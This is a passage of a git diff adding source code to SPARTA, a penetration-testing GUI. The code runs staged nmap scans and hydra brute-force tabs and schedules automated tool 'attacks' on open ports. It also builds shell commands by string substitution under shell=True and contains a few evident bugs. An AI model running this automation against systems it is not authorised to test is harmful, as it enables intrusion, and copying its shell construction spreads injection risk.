lastHostIdClicked == '': + self.logic.storeNotesInDB(lastHostIdClicked, notes) + + def saveProjectAs(self, filename, replace=0): + success = self.logic.saveProjectAs(filename, replace) + if success: + self.nmapImporter.setDB(self.logic.db) # tell nmap importer which db to use + return success + + def closeProject(self): + self.saveSettings() # backup and save config file, if necessary + self.screenshooter.terminate() + self.initScreenshooter() + self.logic.toggleProcessDisplayStatus(True) + self.view.updateProcessesTableView() # clear process table + self.logic.removeTemporaryFiles() + + def addHosts(self, iprange, runHostDiscovery, runStagedNmap): + if iprange == '': + print('[-] No hosts entered..') + return + + if runStagedNmap: + self.runStagedNmap(iprange, runHostDiscovery) + + elif runHostDiscovery: + outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-host-discover' + command = "nmap -n -sn -T4 "+iprange+" -oA "+outputfile + print("Running {command}".format(command=command)) + self.runCommand('nmap', 'nmap (discovery)', iprange, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(iprange), 'nmap (discovery)', True)) + + else: + outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-nmap-list' + command = "nmap -n -sL "+iprange+" -oA "+outputfile + self.runCommand('nmap', 'nmap (list)', iprange, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(iprange), 'nmap (list)', True)) + + #################### CONTEXT MENUS #################### + + def getContextMenuForHost(self, isChecked, showAll=True): # showAll exists because in some cases we only want to show host tools excluding portscans and 'mark as checked' + + menu = QMenu() + self.nmapSubMenu = QMenu('Portscan') + actions = [] + + for a in self.settings.hostActions: + if "nmap" in a[1] or "unicornscan" in a[1]: + actions.append(self.nmapSubMenu.addAction(a[0])) + else: + actions.append(menu.addAction(a[0])) + + if showAll: + actions.append(self.nmapSubMenu.addAction("Run nmap (staged)")) + + menu.addMenu(self.nmapSubMenu) + menu.addSeparator() + + if isChecked == 'True': + menu.addAction('Mark as unchecked') + else: + menu.addAction('Mark as checked') + + return menu, actions + + def handleHostAction(self, ip, hostid, actions, action): + + if action.text() == 'Mark as checked' or action.text() == 'Mark as unchecked': + self.logic.toggleHostCheckStatus(ip) + self.view.updateInterface() + return + + if action.text() == 'Run nmap (staged)': + print('[+] Purging previous portscan data for ' + str(ip)) # if we are running nmap we need to purge previous portscan results + if self.logic.getPortsForHostFromDB(ip, 'tcp'): + self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') + if self.logic.getPortsForHostFromDB(ip, 'udp'): + self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'udp') + self.runStagedNmap(ip, False) + return + + for i in range(0,len(actions)): + if action == actions[i]: + name = self.settings.hostActions[i][1] + invisibleTab = False + if 'nmap' in name: # to make sure different nmap scans appear under the same tool name + name = 'nmap' + invisibleTab = True + # remove all chars that are not alphanumeric from tool name (used in the outputfile's name) + outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(name))+"/"+getTimestamp()+"-"+re.sub("[^0-9a-zA-Z]", "", str(self.settings.hostActions[i][1]))+"-"+ip + command = str(self.settings.hostActions[i][2]) + command = command.replace('[IP]', ip).replace('[OUTPUT]', outputfile) + # check if same type of nmap scan has already been made and purge results before scanning + if 'nmap' in command: + proto = 'tcp' + if '-sU' in command: + proto = 'udp' + + if self.logic.getPortsForHostFromDB(ip, proto): # if we are running nmap we need to purge previous portscan results (of the same protocol) + self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, proto) + + tabtitle = self.settings.hostActions[i][1] + self.runCommand(name, tabtitle, ip, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabtitle, invisibleTab)) + break + + def getContextMenuForServiceName(self, serviceName='*', menu=None): + if menu == None: # if no menu was given, create a new one + menu = QMenu() + + if serviceName == '*' or serviceName in self.settings.general_web_services.split(","): + menu.addAction("Open in browser") + menu.addAction("Take screenshot") + + actions = [] + for a in self.settings.portActions: + if serviceName is None or serviceName == '*' or serviceName in a[3].split(",") or a[3] == '': # if the service name exists in the portActions list show the command in the context menu + actions.append([self.settings.portActions.index(a), menu.addAction(a[0])]) # in actions list write the service and line number that corresponds to it in portActions + + modifiers = QtGui.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu + if modifiers == QtCore.Qt.ShiftModifier: + shiftPressed = True + else: + shiftPressed = False + + return menu, actions, shiftPressed + + def handleServiceNameAction(self, targets, actions, action, restoring=True): + + if action.text() == 'Take screenshot': + for ip in targets: + url = ip[0]+':'+ip[1] + self.screenshooter.addToQueue(url) + self.screenshooter.start() + return + + elif action.text() == 'Open in browser': + for ip in targets: + url = ip[0]+':'+ip[1] + self.browser.addToQueue(url) + self.browser.start() + return + + for i in range(0,len(actions)): + if action == actions[i][1]: + srvc_num = actions[i][0] + for ip in targets: + tool = self.settings.portActions[srvc_num][1] + tabtitle = self.settings.portActions[srvc_num][1]+" ("+ip[1]+"/"+ip[2]+")" + outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(tool))+"/"+getTimestamp()+'-'+tool+"-"+ip[0]+"-"+ip[1] + + command = str(self.settings.portActions[srvc_num][2]) + command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]).replace('[OUTPUT]', outputfile) + + if 'nmap' in command and ip[2] == 'udp': + command=command.replace("-sV","-sVU") + + if 'nmap' in tabtitle: # we don't want to show nmap tabs + restoring = True + + self.runCommand(tool, tabtitle, ip[0], ip[1], ip[2], command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip[0], tabtitle, restoring)) + break + + def getContextMenuForPort(self, serviceName='*'): + + menu = QMenu() + + modifiers = QtGui.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu + if modifiers == QtCore.Qt.ShiftModifier: + serviceName='*' + + terminalActions = [] # custom terminal actions from settings file + for a in self.settings.portTerminalActions: # if wildcard or the command is valid for this specific service or if the command is valid for all services + if serviceName is None or serviceName == '*' or serviceName in a[3].split(",") or a[3] == '': + terminalActions.append([self.settings.portTerminalActions.index(a), menu.addAction(a[0])]) + + menu.addSeparator() + menu.addAction("Send to Brute") + menu.addSeparator() + # dummy is there because we don't need the third return value + menu, actions, dummy = self.getContextMenuForServiceName(serviceName, menu) + +# menu.addSeparator() +# menu.addAction("Run custom command") + + return menu, actions, terminalActions + + def handlePortAction(self, targets, actions, terminalActions, action, restoring): + + if action.text() == 'Send to Brute': + for ip in targets: + self.view.createNewBruteTab(ip[0], ip[1], ip[3]) # ip[0] is the IP, ip[1] is the port number and ip[3] is the service name + return + + if action.text() == 'Run custom command': + print('custom command') + return + + terminal = self.settings.general_default_terminal # handle terminal actions + for i in range(0,len(terminalActions)): + if action == terminalActions[i][1]: + srvc_num = terminalActions[i][0] + for ip in targets: + command = str(self.settings.portTerminalActions[srvc_num][2]) + command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]) + ## Future ## timeout = int(self.settings.portTerminalActions[srvc_num][3]) + subprocess.Popen(terminal+" -e 'bash -c \""+command+"; exec bash\"'", shell=True, timeout=5) + return + + self.handleServiceNameAction(targets, actions, action, restoring) + + def getContextMenuForProcess(self): + menu = QMenu() + killAction = menu.addAction("Kill") + clearAction = menu.addAction("Clear") + return menu + + def handleProcessAction(self, selectedProcesses, action): # selectedProcesses is a list of tuples (pid, status, procId) + + if action.text() == 'Kill': + if self.view.killProcessConfirmation(): + for p in selectedProcesses: + if p[1]!="Running": + if p[1]=="Waiting": + #print "\t[-] Process still waiting to start. Skipping." + if str(self.logic.getProcessStatusForDBId(p[2])) == 'Running': + self.killProcess(self.view.ProcessesTableModel.getProcessPidForId(p[2]), p[2]) + self.logic.storeProcessCancelStatusInDB(str(p[2])) + else: + print("\t[-] This process has already been terminated. Skipping.") + else: + self.killProcess(p[0], p[2]) + self.view.updateProcessesTableView() + return + + if action.text() == 'Clear': # hide all the processes that are not running + self.logic.toggleProcessDisplayStatus() + self.view.updateProcessesTableView() + + #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### + + def isHostInDB(self, host): + return self.logic.isHostInDB(host) + + def getHostsFromDB(self, filters): + return self.logic.getHostsFromDB(filters) + + def getServiceNamesFromDB(self, filters): + return self.logic.getServiceNamesFromDB(filters) + + def getProcessStatusForDBId(self, dbId): + return self.logic.getProcessStatusForDBId(dbId) + + def getPidForProcess(self,dbId): + return self.logic.getPidForProcess(dbId) + + def storeCloseTabStatusInDB(self,pid): + return self.logic.storeCloseTabStatusInDB(pid) + + def getServiceNameForHostAndPort(self, hostIP, port): + return self.logic.getServiceNameForHostAndPort(hostIP, port) + + #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### + + def getPortsAndServicesForHostFromDB(self, hostIP, filters): + return self.logic.getPortsAndServicesForHostFromDB(hostIP, filters) + + def getHostsAndPortsForServiceFromDB(self, serviceName, filters): + return self.logic.getHostsAndPortsForServiceFromDB(serviceName, filters) + + def getHostInformation(self, hostIP): + return self.logic.getHostInformation(hostIP) + + def getPortStatesForHost(self, hostid): + return self.logic.getPortStatesForHost(hostid) + + def getScriptsFromDB(self, hostIP): + return self.logic.getScriptsFromDB(hostIP) + + def getScriptOutputFromDB(self,scriptDBId): + return self.logic.getScriptOutputFromDB(scriptDBId) + + def getNoteFromDB(self, hostid): + return self.logic.getNoteFromDB(hostid) + + def getHostsForTool(self, toolname, closed='False'): + return self.logic.getHostsForTool(toolname, closed) + + #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### + + def getProcessesFromDB(self, filters, showProcesses=''): + return self.logic.getProcessesFromDB(filters, showProcesses) + + #################### PROCESSES #################### + + def checkProcessQueue(self): +# print '# MAX PROCESSES: ' + str(self.settings.general_max_fast_processes) +# print '# fast processes running: ' + str(self.fastProcessesRunning) +# print '# fast processes queued: ' + str(self.fastProcessQueue.qsize()) + + if not self.fastProcessQueue.empty(): + if (self.fastProcessesRunning < int(self.settings.general_max_fast_processes)): + next_proc = self.fastProcessQueue.get() + if not self.logic.isCanceledProcess(str(next_proc.id)): + #print '[+] Running: '+ str(next_proc.command) + next_proc.display.clear() + self.processes.append(next_proc) + self.fastProcessesRunning += 1 + # Add Timeout # Cheetos + next_proc.waitForFinished(10) + next_proc.start(next_proc.command) + self.logic.storeProcessRunningStatusInDB(next_proc.id, next_proc.pid()) + elif not self.fastProcessQueue.empty(): +# print '> next process was canceled, checking queue again..' + self.checkProcessQueue() +# else: +# print '> cannot run processes in the queue' +# else: +# print '> queue is empty' + + def cancelProcess(self, dbId): + print('[+] Canceling process: ' + str(dbId)) + self.logic.storeProcessCancelStatusInDB(str(dbId)) # mark it as cancelled + self.updateUITimer.stop() + self.updateUITimer.start(1500) # update the interface soon + + def killProcess(self, pid, dbId): + print('[+] Killing process: ' + str(pid)) + self.logic.storeProcessKillStatusInDB(str(dbId)) # mark it as killed + try: + os.kill(int(pid), signal.SIGTERM) + except OSError: + print('\t[-] This process has already been terminated.') + except: + print("\t[-] Unexpected error:", sys.exc_info()[0]) + + def killRunningProcesses(self): + print('[+] Killing running processes!') + for p in self.processes: + p.finished.disconnect() # experimental + self.killProcess(int(p.pid()), p.id) + + # this function creates a new process, runs the command and takes care of displaying the ouput. returns the PID + # the last 3 parameters are only used when the command is a staged nmap + def runCommand(self, name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox, discovery=True, stage=0, stop=False): + self.logic.createFolderForTool(name) # create folder for tool if necessary + qProcess = MyQProcess(name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox) + #textbox.setProperty('dbId', QVariant(str(self.logic.addProcessToDB(qProcess)))) # database id for the process is stored so that we can retrieve the widget later (in the tools tab) + #.toString() + textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) + #print '[+] Queuing: ' + str(command) + self.fastProcessQueue.put(qProcess) + qProcess.display.appendPlainText('The process is queued and will start as soon as possible.') + qProcess.display.appendPlainText('If you want to increase the number of simultaneous processes, change this setting in the configuration file.') + #qProcess.display.appendPlainText('If you want to increase the number of simultaneous processes, change this setting in the Settings menu.') + self.checkProcessQueue() + + self.updateUITimer.stop() # update the processes table + self.updateUITimer.start(900) + # while the process is running, when there's output to read, display it in the GUI + QObject.connect(qProcess,SIGNAL("readyReadStandardOutput()"),qProcess,SLOT("readStdOutput()")) + QObject.connect(qProcess,SIGNAL("readyReadStandardError()"),qProcess,SLOT("readStdOutput()")) + # when the process is finished do this + qProcess.sigHydra.connect(self.handleHydraFindings) + qProcess.finished.connect(lambda: self.processFinished(qProcess)) + qProcess.error.connect(lambda: self.processCrashed(qProcess)) + + if stage > 0 and stage < 5: # if this is a staged nmap, launch the next stage + qProcess.finished.connect(lambda: self.runStagedNmap(str(hostip), discovery, stage+1, self.logic.isKilledProcess(str(qProcess.id)))) + + return qProcess.pid() # return the pid so that we can kill the process if needed + + # recursive function used to run nmap in different stages for quick results + def runStagedNmap(self, iprange, discovery=True, stage=1, stop=False): + if not stop: + textbox = self.view.createNewTabForHost(str(iprange), 'nmap (stage '+str(stage)+')', True) + outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-nmapstage'+str(stage) + + if stage == 1: # webservers/proxies + ports = self.settings.tools_nmap_stage1_ports + elif stage == 2: # juicy stuff that we could enumerate + db + ports = self.settings.tools_nmap_stage2_ports + elif stage == 3: # bruteforceable protocols + portmapper + nfs + ports = self.settings.tools_nmap_stage3_ports + elif stage == 4: # first 30000 ports except ones above + ports = self.settings.tools_nmap_stage4_ports + else: # last 35535 ports + ports = self.settings.tools_nmap_stage5_ports + + command = "nmap " + if not discovery: # is it with/without host discovery? + command += "-Pn " + command += "-T4 -sV " # without scripts (faster) + if not stage == 1: + command += "-n " # only do DNS resolution on first stage + if os.geteuid() == 0: # if we are root we can run SYN + UDP scans + command += "-sSU " + if stage == 2: + command += "-O " # only check for OS once to save time and only if we are root otherwise it fails + else: + command += "-sT " + command += "-p "+ports+' '+iprange+" -oA "+outputfile + + self.runCommand('nmap','nmap (stage '+str(stage)+')', str(iprange), '', '', command, getTimestamp(True), outputfile, textbox, discovery, stage, stop) + + def nmapImportFinished(self): + self.updateUI2Timer.stop() + self.updateUI2Timer.start(800) + self.view.importProgressWidget.hide() # hide the progress widget + self.view.displayAddHostsOverlay(False) # if nmap import was the first action, we need to hide the overlay (note: we shouldn't need to do this everytime. this can be improved) + + def screenshotFinished(self, ip, port, filename): + dbId = self.logic.addScreenshotToDB(str(ip),str(port),str(filename)) + imageviewer = self.view.createNewTabForHost(ip, 'screenshot ('+port+'/tcp)', True, '', str(self.logic.outputfolder)+'/screenshots/'+str(filename)) + imageviewer.setProperty('dbId', QVariant(str(dbId))) + self.view.switchTabClick() # to make sure the screenshot tab appears when it is launched from the host services tab + self.updateUITimer.stop() # update the processes table + self.updateUITimer.start(900) + + def processCrashed(self, proc): + #self.processFinished(proc, True) + self.logic.storeProcessCrashStatusInDB(str(proc.id)) + print('\t[+] Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) + qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n','').replace("b'","") + print('\t[+] Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) + + # this function handles everything after a process ends + #def processFinished(self, qProcess, crashed=False): + def processFinished(self, qProcess): + #print 'processFinished!!' + try: + if not self.logic.isKilledProcess(str(qProcess.id)): # if process was not killed + if not qProcess.outputfile == '': + self.logic.moveToolOutput(qProcess.outputfile) # move tool output from runningfolder to output folder if there was an output file + + if 'nmap' in qProcess.name: # if the process was nmap, use the parser to store it + if qProcess.exitCode() == 0: # if the process finished successfully + newoutputfile = qProcess.outputfile.replace(self.logic.runningfolder, self.logic.outputfolder) + self.nmapImporter.setFilename(str(newoutputfile)+'.xml') + self.view.importProgressWidget.reset('Importing nmap..') + self.nmapImporter.setOutput(str(qProcess.display.toPlainText())) + self.nmapImporter.start() + if self.view.menuVisible == False: + self.view.importProgressWidget.show() + if qProcess.exitCode() != 0: + print("\t[+] Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) + self.processCrashed(qProcess) + + print("\t[+] Process {qProcessId} is done!".format(qProcessId=qProcess.id)) + + + self.logic.storeProcessOutputInDB(str(qProcess.id), qProcess.display.toPlainText()) + + if 'hydra' in qProcess.name: # find the corresponding widget and tell it to update its UI + self.view.findFinishedBruteTab(str(self.logic.getPidForProcess(str(qProcess.id)))) + + try: + self.fastProcessesRunning =- 1 + self.checkProcessQueue() + self.processes.remove(qProcess) + self.updateUITimer.stop() + self.updateUITimer.start(1500) # update the interface soon + + except Exception as e: + print("Process Finished Cleanup Exception {e}".format(e=e)) + except Exception as e: # fixes bug when receiving finished signal when project is no longer open. + print("Process Finished Exception {e}".format(e=e)) + raise + + def handleHydraFindings(self, bWidget, userlist, passlist): # when hydra finds valid credentials we need to save them and change the brute tab title to red + self.view.blinkBruteTab(bWidget) + for username in userlist: + self.logic.usernamesWordlist.add(username) + for password in passlist: + self.logic.passwordsWordlist.add(password) + + # this function parses nmap's output looking for open ports to run automated attacks on + def scheduler(self, parser, isNmapImport): + if isNmapImport and self.settings.general_enable_scheduler_on_import == 'False': + return + if self.settings.general_enable_scheduler == 'True': + print('[+] Scheduler started!') + + for h in parser.all_hosts(): + for p in h.all_ports(): + if p.state == 'open': + s = p.get_service() + if not (s is None): + self.runToolsFor(s.name, h.ip, p.portId, p.protocol) + + print('-----------------------------------------------') + print('[+] Scheduler ended!') + + def runToolsFor(self, service, ip, port, protocol='tcp'): + print('\t[+] Running tools for: ' + service + ' on ' + ip + ':' + port) + + if service.endswith("?"): # when nmap is not sure it will append a ?, so we need to remove it + service=service[:-1] + + for tool in self.settings.automatedAttacks: + if service in tool[1].split(",") and protocol==tool[2]: + if tool[0] == "screenshooter": + url = ip+':'+port + self.screenshooter.addToQueue(url) + self.screenshooter.start() + + else: + for a in self.settings.portActions: + if tool[0] == a[1]: + restoring = False + tabtitle = a[1]+" ("+port+"/"+protocol+")" + outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(tool[0]))+"/"+getTimestamp()+'-'+a[1]+"-"+ip+"-"+port + command = str(a[2]) + command = command.replace('[IP]', ip).replace('[PORT]', port).replace('[OUTPUT]', outputfile) + + if 'nmap' in tabtitle: # we don't want to show nmap tabs + restoring = True + + tab = self.view.ui.HostsTabWidget.tabText(self.view.ui.HostsTabWidget.currentIndex()) + self.runCommand(tool[0], tabtitle, ip, port, protocol, command, getTimestamp(True), outputfile, self.view.createNewTabForHost(ip, tabtitle, not (tab == 'Hosts'))) + break + diff --git a/db/__init__.py b/db/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/db/database.py b/db/database.py new file mode 100644 index 00000000..d06da605 --- /dev/null +++ b/db/database.py @@ -0,0 +1,256 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +#from elixir import metadata, Entity, Field +#from elixir import create_all, setup_all, session +#from elixir import Unicode, UnicodeText +from PyQt4.QtCore import QSemaphore +import time + +from sqlalchemy import Column, DateTime, String, Integer, ForeignKey, func, create_engine +from sqlalchemy.orm import relationship, backref, sessionmaker +from sqlalchemy.orm.scoping import scoped_session +from sqlalchemy.ext.declarative import declarative_base + +from six import u as unicode + +Base = declarative_base() + +class process(Base): + __tablename__ = 'process' + pid = Column(String) + id = Column(Integer, primary_key=True) + display=Column(String) + name=Column(String) + tabtitle=Column(String) + hostip=Column(String) + port=Column(String) + protocol=Column(String) + command=Column(String) + starttime=Column(String) + endtime=Column(String) + outputfile=Column(String) + output=relationship("process_output", uselist=False, backref="process") + status=Column(String) + closed=Column(String) + + def __init__(self, pid, name, tabtitle, hostip, port, protocol, command, starttime, endtime, outputfile, status, processOutputId): + self.display='True' + self.pid=pid + self.name=name + self.tabtitle=tabtitle + self.hostip=hostip + self.port=port + self.protocol=protocol + self.command=command + self.starttime=starttime + self.endtime=endtime + self.outputfile=outputfile + self.output=processOutputId + self.status=status + self.closed='False' + +# This class holds various info about an nmap scan +class nmap_session(Base): + __tablename__ = 'nmap_session' + filename=Column(String, primary_key=True) + start_time=Column(String) + finish_time=Column(String) + nmap_version=Column(String) + scan_args=Column(String) + total_hosts=Column(String) + up_hosts=Column(String) + down_hosts=Column(String) + + def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args='', total_hosts='0', up_hosts='0', down_hosts='0'): + self.filename=filename + self.start_time=start_time + self.finish_time=finish_time + self.nmap_version=nmap_version + self.scan_args=scan_args + self.total_hosts=total_hosts + self.up_hosts=up_hosts + self.down_hosts=down_hosts + + +class nmap_os(Base): + __tablename__ = 'nmap_os' + name=Column(String, primary_key=True) + family=Column(String) + generation=Column(String) + os_type=Column(String) + vendor=Column(String) + accuracy=Column(String) + host=Column(String, ForeignKey('nmap_host.hostname')) + + def __init__(self, name, family, generation, os_type, vendor, accuracy, hostId): + self.name=name + self.family=family + self.generation=generation + self.os_type=os_type + self.vendor=vendor + self.accuracy=accuracy + self.host=hostId + +class nmap_port(Base): + __tablename__ = 'nmap_port' + port_id=Column(String) + id=Column(Integer, primary_key=True) + protocol=Column(String) + state=Column(String) + host_id=Column(String, ForeignKey('nmap_host.hostname')) + service_id=Column(String, ForeignKey('nmap_service.name')) + script_id=Column(String, ForeignKey('nmap_script.script_id')) + + def __init__(self, port_id, protocol, state, host, service=''): + self.port_id=port_id + self.protocol=protocol + self.state=state + self.host_id=host + self.service=service + +class nmap_service(Base): + __tablename__ = 'nmap_service' + name=Column(String) + id=Column(String, primary_key=True) + product=Column(String) + version=Column(String) + extrainfo=Column(String) + fingerprint=Column(String) + port=Column(String, ForeignKey('nmap_port.port_id')) + + def __init__(self, name='', product='', version='', extrainfo='', fingerprint=''): + self.name=name + self.id=name + self.product=product + self.version=version + self.extrainfo=extrainfo + self.fingerprint=fingerprint + +class nmap_script(Base): + __tablename__ = 'nmap_script' + script_id=Column(String) + id=Column(String, primary_key=True) + output=Column(String) + port_id=Column(String, ForeignKey('nmap_port.port_id')) + host_id=Column(String, ForeignKey('nmap_host.hostname')) + + def __init__(self, script_id, output, portId, hostId): + self.script_id=script_id + self.id=script_id + self.output=unicode(output) + self.port_id=portId + self.host_id=hostId + +class nmap_host(Base): + __tablename__ = 'nmap_host' + checked=Column(String) + os_match=Column(String) + os_accuracy=Column(String) + ip=Column(String) + ipv4=Column(String) + ipv6=Column(String) + macaddr=Column(String) + status=Column(String) + hostname=Column(String) + id = Column(Integer, primary_key=True) + vendor=Column(String) + uptime=Column(String) + lastboot=Column(String) + distance=Column(String) + state=Column(String) + count=Column(String) + + # host relationships + os=Column(String, ForeignKey('nmap_os.name')) + ports=Column(String, ForeignKey('nmap_port.port_id')) + + def __init__(self, os_match='', os_accuracy='', ip='', ipv4='', ipv6='', macaddr='', status='', hostname='', vendor='', uptime='', lastboot='', distance='', state='', count=''): + self.checked='False' + self.os_match=os_match + self.os_accuracy=os_accuracy + self.ip=ip + self.ipv4=ipv4 + self.ipv6=ipv6 + self.macaddr=macaddr + self.status=status + self.hostname=hostname + #self.id=hostname + self.vendor=vendor + self.uptime=uptime + self.lastboot=lastboot + self.distance=distance + self.state=state + self.count=count + + +class note(Base): + __tablename__ = 'note' + host_id=Column(String) + text=Column(String, primary_key=True) + + def __init__(self, hostId, text): + self.text=unicode(text) + self.host_id=hostId + +class process_output(Base): + __tablename__ = 'process_output' + #output=Column(String, primary_key=True) + id=Column(Integer, primary_key=True) + process_id=Column(Integer, ForeignKey('process.pid')) + output=(String) + + def __init__(self): + self.output=unicode('') + + +class Database: + def __init__(self, dbfilename): + try: + self.name = dbfilename + self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db + self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName=dbfilename)) + self.session = scoped_session(sessionmaker()) + self.session.configure(bind=self.engine) + self.metadata = Base.metadata + self.metadata.create_all(self.engine) + self.metadata.echo = True + self.metadata.bind = self.engine + except Exception as e: + print('[-] Could not create database. Please try again.') + print(e) + + def openDB(self, dbfilename): + try: + self.name = dbfilename + self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db + self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName=dbfilename)) + self.session = scoped_session(sessionmaker()) + self.session.configure(bind=self.engine) + self.metadata = Base.metadata + self.metadata.create_all(self.engine) + self.metadata.echo = True + self.metadata.bind = self.engine + except: + print('[-] Could not open database file. Is the file corrupted?') + + def commit(self): + self.dbsemaphore.acquire() + session = self.session() + session.commit() + self.dbsemaphore.release() + + +if __name__ == "__main__": + + db = Database('myDatabase') diff --git a/db/database.py.orig b/db/database.py.orig new file mode 100644 index 00000000..f11f2dcc --- /dev/null +++ b/db/database.py.orig @@ -0,0 +1,83 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +from elixir import metadata, Entity, Field +from elixir import create_all, setup_all, session +from elixir import Unicode, UnicodeText +from PyQt4.QtCore import QSemaphore +from db.tables import * +import time + +from elixir import metadata, Entity, Field +from elixir import Unicode, UnicodeText, Integer, String +from elixir import OneToMany, ManyToMany, ManyToOne, OneToOne + +# This class holds various info about an nmap scan +class nmap_session(Entity): + filename=Field(String) + start_time=Field(String) + finish_time=Field(String) + nmap_version=Field(String) + scan_args=Field(String) + total_hosts=Field(String) + up_hosts=Field(String) + down_hosts=Field(String) + + def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args='', total_hosts='0', up_hosts='0', down_hosts='0'): + self.filename=filename + self.start_time=start_time + self.finish_time=finish_time + self.nmap_version=nmap_version + self.scan_args=scan_args + self.total_hosts=total_hosts + self.up_hosts=up_hosts + self.down_hosts=down_hosts + +class Database: + # TODO: sanitise dbfilename + def __init__(self, dbfilename): + try: + self.name = dbfilename + self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db + metadata.bind = 'sqlite:///'+dbfilename + metadata.bind.echo = True # uncomment to see detailed database logs + setup_all(create_tables=True) + create_all() + except: + print('[-] Could not create database. Please try again.') + + def openDB(self, dbfilename): + try: + self.name = dbfilename + metadata.bind = 'sqlite:///'+dbfilename + metadata.bind.echo = True # uncomment to see detailed database logs + setup_all() + except: + print('[-] Could not open database file. Is the file corrupted?') + + # this function commits any modified data to the db, ensuring no concurrent write access to the DB (within the same thread) + # if you code a thread that writes to the DB, make sure you acquire/release at the beginning/end of the thread (see nmap importer) + def commit(self): + self.dbsemaphore.acquire() + session.commit() + self.dbsemaphore.release() + + +if __name__ == "__main__": + + db = Database('myDatabase') + + # insert stuff + nmap_session('~/Documents/tools/sparta/tests/nmap-scan-1', 'Wed Jul 10 14:07:36 2013', 'Wed Jul 10 14:29:36 2013', '6.25', 'nmap -sS -A -T5 -p- -oX a-full.xml -vvvvv 172.16.16.0/24', '256', '25', '231') + nmap_session('~/Documents/tools/sparta/tests/nmap-scan-2', 'Wed Jul 15 14:07:36 2013', 'Wed Jul 20 14:29:36 2013', '5.44', 'nmap -sT -A -T3 -p- -oX a-full.xml -vvvvv 172.16.16.0/24', '256', '26', '230') + session.commit() diff --git a/db/tables.py b/db/tables.py new file mode 100644 index 00000000..4e3cf835 --- /dev/null +++ b/db/tables.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +from sqlalchemy import Column, DateTime, String, Integer, ForeignKey, func +from sqlalchemy.orm import relationship, backref +from sqlalchemy.ext.declarative import declarative_base +from six import u as unicode + +Base = declarative_base() + +class process(Base): + __tablename__ = 'process' + pid = Column(String, primary_key=True) + display=Column(String) + name=Column(String) + tabtitle=Column(String) + hostip=Column(String) + port=Column(String) + protocol=Column(String) + command=Column(String) + starttime=Column(String) + endtime=Column(String) + outputfile=Column(String) + output=relationship("process_output", uselist=False, backref="process") + status=Column(String) + closed=Column(String) + + def __init__(self, pid, name, tabtitle, hostip, port, protocol, command, starttime, endtime, outputfile, status, processOutputId): + self.display='True' + self.pid=pid + self.name=name + self.tabtitle=tabtitle + self.hostip=hostip + self.port=port + self.protocol=protocol + self.command=command + self.starttime=starttime + self.endtime=endtime + self.outputfile=outputfile + self.output=processOutputId + self.status=status + self.closed='False' + +class process_output(Base): + __tablename__ = 'process_output' + output=Column(String, primary_key=True) + process=Column(Integer, ForeignKey('process.pid')) + + def __init__(self): + self.output=unicode('') + +# 